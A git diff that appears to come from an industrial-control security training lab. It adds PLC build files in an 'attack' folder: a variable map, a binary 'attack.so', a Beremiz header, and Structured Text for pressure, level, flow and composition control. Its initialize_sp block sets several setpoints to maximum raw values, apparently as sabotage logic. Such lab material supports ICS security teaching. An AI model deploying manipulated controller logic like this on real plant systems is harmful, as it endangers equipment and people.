+356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + 